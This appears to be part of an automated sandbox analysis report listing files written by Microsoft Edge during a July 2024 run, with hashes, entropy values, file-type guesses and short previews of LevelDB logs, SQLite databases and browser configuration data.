Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.185472387678671
Encrypted:	false
SSDEEP:	6:BMWQZd1wkn23oH+Tcwt8aVdg2KLlrMWQVP+q2Pwkn23oH+Tcwt8aPrqIFUv:BQZgfYeb0LJQVP+vYfYebL3FUv
MD5:	EEAFBC32F15DB6EB77942FCBE8EFF0AA
SHA1:	228E735A5AD1059DB97ABAA06AF8B8E4D06A7DBD
SHA-256:	5A17DFDF03FE593EF9CBC5BF4ED66F6DE434CCE83E15516159F3A7179C08BBD2
SHA-512:	3C289211E8C163D475B5FAF8511FB4C337E778E73F4C4A2463A66D76510EAAE823DBF5FEA7068453D8DD7498F2170F8397A54818421FCAD34AA7D734BC8FBC66
Malicious:	false
Preview:	2024/07/23-20:39:16.058 207c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules since it was missing..2024/07/23-20:39:16.094 207c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.155513724053212
Encrypted:	false
SSDEEP:	6:BMWQVc71wkn23oH+Tcwt86FB2KLlrMWQla+q2Pwkn23oH+Tcwt865IFUv:BQVHfYeb/FFLJQQ+vYfYeb/WFUv
MD5:	8EB6283B84BD3DACC1C2FE083708D4A5
SHA1:	6EC192AE9842266D52590E71E914514BB2E0C4FA
SHA-256:	F217527EB7F2DF6F726A84F2EB35496A06351D8868C6C2C62A4F703A1500D94B
SHA-512:	2E1261176AF3E5855F9B5C7545BE04467B64ECF7F7144C3D050BC6C587CC7AF776CD3F21F6E8A4B66D74669CB65993253AA357929F4FD43287F892B7961CB111
Malicious:	false
Preview:	2024/07/23-20:39:16.099 207c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts since it was missing..2024/07/23-20:39:16.163 207c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.176481882457525
Encrypted:	false
SSDEEP:	6:BMWQj734q2Pwkn23oH+Tcwt8NIFUt84MWQj+JZmw+4MWQjl3DkwOwkn23oH+TcwY:BQjz4vYfYebpFUt8mQj+J/+mQjtD5JfO
MD5:	4DD9838074707F69863ADEB468ED347A
SHA1:	14236A88DC7D8C58DE774B0FEC7B1D5F76169EF0
SHA-256:	8F42F70C4FDD427748BA8A9BF4EF374DB96507D9309FA3B39F3F5473F3998D41
SHA-512:	E873A27C69ACF335E26D086141AECF3BE78C836ADD506651A1719751733BDC5F0C5CEDA52A578F1003B92AF149BF116D2411E9BA547AA40B3A9DE45FEE20C05F
Malicious:	false
Preview:	2024/07/23-20:39:16.791 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/07/23-20:39:16.792 1cf0 Recovering log #3.2024/07/23-20:39:16.793 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.176481882457525
Encrypted:	false
SSDEEP:	6:BMWQj734q2Pwkn23oH+Tcwt8NIFUt84MWQj+JZmw+4MWQjl3DkwOwkn23oH+TcwY:BQjz4vYfYebpFUt8mQj+J/+mQjtD5JfO
MD5:	4DD9838074707F69863ADEB468ED347A
SHA1:	14236A88DC7D8C58DE774B0FEC7B1D5F76169EF0
SHA-256:	8F42F70C4FDD427748BA8A9BF4EF374DB96507D9309FA3B39F3F5473F3998D41
SHA-512:	E873A27C69ACF335E26D086141AECF3BE78C836ADD506651A1719751733BDC5F0C5CEDA52A578F1003B92AF149BF116D2411E9BA547AA40B3A9DE45FEE20C05F
Malicious:	false
Preview:	2024/07/23-20:39:16.791 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/07/23-20:39:16.792 1cf0 Recovering log #3.2024/07/23-20:39:16.793 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.807713162796279
Encrypted:	false
SSDEEP:	96:0BCyKBNDW9l/FW9sr9Z1elS9nsH4/AztcuuuoKwmpDW9l/ZW9fr9/:mNGC/v5sHXzCuPo1mC/k
MD5:	DF9933DE66C9F3AC19B705F7AB8670B1
SHA1:	B629C6EC3BF5DF721E14B9244694994568EE1C04
SHA-256:	2DD64B47A0DE7664D0E1F2A37C94ECD4448528D3D8720B012EC2D8F2EDAA6BF1
SHA-512:	3C03EBAE9D5DC55DD9D2329B9BFA545DD96914E74A7AACCDAF19B04F1DF2D1ED168435A697E4D4C30691DC7E9DEB7152E0CF13A8E98E845962A37FB4015F34D7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7078551527606751
Encrypted:	false
SSDEEP:	96:9/zDW9l/qr9mW9SkU+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjNG+ADW9l3:9rC/z+GPXBBE3upb0HtTTDxVjFAC/
MD5:	0375F08F771D3B5E76116486078DCCCE
SHA1:	663D44D37A2FFDB3902C11BFA55BB2F4E4275D4B
SHA-256:	5EDF6E1DC9226E44EE027CA499063725A26BDE289A4B4C65DAA8FCDB3FAFB5E0
SHA-512:	92F1B545BD9819AF7B760C6065AD581960767C4E9C064E9E4402D45C9C9DC51B917D469D481D19DFF028F52F8AE3C9613C65F899FC78C706D194B7F686E7D8C6
Malicious:	true
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.32872990409968056
Encrypted:	false
SSDEEP:	6:OA/J3+t76Y4QZZofU99pO0BYnmSqR4EZY4QZvGAm:vhHQws9Ldm8BQZGAm
MD5:	471BCCD9AF8C0381D1B4BC615C5DF235
SHA1:	9DB8E1248E534A43C425FF2B8CE758B7E82F4D81
SHA-256:	08B023779F04E9463A572CBE7C59EDF61569B30B501B4E7BA9BA05EFED509825
SHA-512:	76B221276C1AEA3D7922369262CF46F8AA8CF18A1F91457CF3167752002B7E6414A8FF5122834E5495E8CCE1D0387913144BCCE33A25BD07631DD1B97A100F53
Malicious:	false
Preview:	..............z....'....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.5493561025929496
Encrypted:	false
SSDEEP:	384:zj9P0KpJP/KbtRcqQkQerchwgam6IeRKToaA0773pLG:zdhnP/7qe2c9ORKc478
MD5:	47C283B69C591F36BC661E506F045699
SHA1:	EE06426556C1E12AEA72C0096E74726A30D4E0A2
SHA-256:	B0C168B140A6CC80CC01AE9D4A1276724797C4A6EC7113D3FDE14D8EF7524F6A
SHA-512:	2B7046E10A87280C44BB9CF2C305424C203E34186D30B4F3EDABAB2B919FA4EE2F921A3F13364F0B2AD1FA167404CE1B78B4A70F455CB45E59CBED3371314C7D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.3204425936669235
Encrypted:	false
SSDEEP:	12:BQTvYfYeb8rcHEZrELFUt8mQI1/+mQJ5JfYeb8rcHEZrEZSJ:izYfYeb8nZrExg89IMbJfYeb8nZrEZe
MD5:	FB65808AF5CE54A0546BB412A414F4A6
SHA1:	933D8A525C7A7DFCB52779831C5E81284B7AF21A
SHA-256:	934B7AFDD208FC6145DB4DAFEBE4348B5BAF70A5005F40080D271017B53089B3
SHA-512:	E319F73438023B12643AA8F00C380CA8673B520A0B56657BFD20FF9BF5575A41B9D0E62881667C7F602551DDD292D03E0A0FCDD6C17F3180962C14D91520BB94
Malicious:	false
Preview:	2024/07/23-20:39:18.515 1198 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/07/23-20:39:18.515 1198 Recovering log #3.2024/07/23-20:39:18.516 1198 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.3204425936669235
Encrypted:	false
SSDEEP:	12:BQTvYfYeb8rcHEZrELFUt8mQI1/+mQJ5JfYeb8rcHEZrEZSJ:izYfYeb8nZrExg89IMbJfYeb8nZrEZe
MD5:	FB65808AF5CE54A0546BB412A414F4A6
SHA1:	933D8A525C7A7DFCB52779831C5E81284B7AF21A
SHA-256:	934B7AFDD208FC6145DB4DAFEBE4348B5BAF70A5005F40080D271017B53089B3
SHA-512:	E319F73438023B12643AA8F00C380CA8673B520A0B56657BFD20FF9BF5575A41B9D0E62881667C7F602551DDD292D03E0A0FCDD6C17F3180962C14D91520BB94
Malicious:	false
Preview:	2024/07/23-20:39:18.515 1198 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/07/23-20:39:18.515 1198 Recovering log #3.2024/07/23-20:39:18.516 1198 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.212644765412369
Encrypted:	false
SSDEEP:	6:BMWQttUGFL+q2Pwkn23oH+Tcwt8a2jMGIFUt84MWQtf1Zmw+4MWQHD/lLVkwOwkz:BQTfFyvYfYeb8EFUt8mQz/+mQjtR5Jfo
MD5:	59BBA87C9E0FF13254A86793B9A063E6
SHA1:	E441F52F42A2D2520BF03661730D64432B233819
SHA-256:	297AB1ADAC8AB982784302AF2B7709C1718387DEB6CCC33FFA9809127FCFAD17
SHA-512:	CBF2B065720FF1DC719D162630844B5BFFE2ED6F01AD9B7105D661389C29F54F94EC077712EBED09512752904B6C05C59C6F0940A12D0324C456CAC4A2114C6E
Malicious:	false
Preview:	2024/07/23-20:39:16.993 21c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/07/23-20:39:16.995 21c8 Recovering log #3.2024/07/23-20:39:17.189 21c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.212644765412369
Encrypted:	false
SSDEEP:	6:BMWQttUGFL+q2Pwkn23oH+Tcwt8a2jMGIFUt84MWQtf1Zmw+4MWQHD/lLVkwOwkz:BQTfFyvYfYeb8EFUt8mQz/+mQjtR5Jfo
MD5:	59BBA87C9E0FF13254A86793B9A063E6
SHA1:	E441F52F42A2D2520BF03661730D64432B233819
SHA-256:	297AB1ADAC8AB982784302AF2B7709C1718387DEB6CCC33FFA9809127FCFAD17
SHA-512:	CBF2B065720FF1DC719D162630844B5BFFE2ED6F01AD9B7105D661389C29F54F94EC077712EBED09512752904B6C05C59C6F0940A12D0324C456CAC4A2114C6E
Malicious:	false
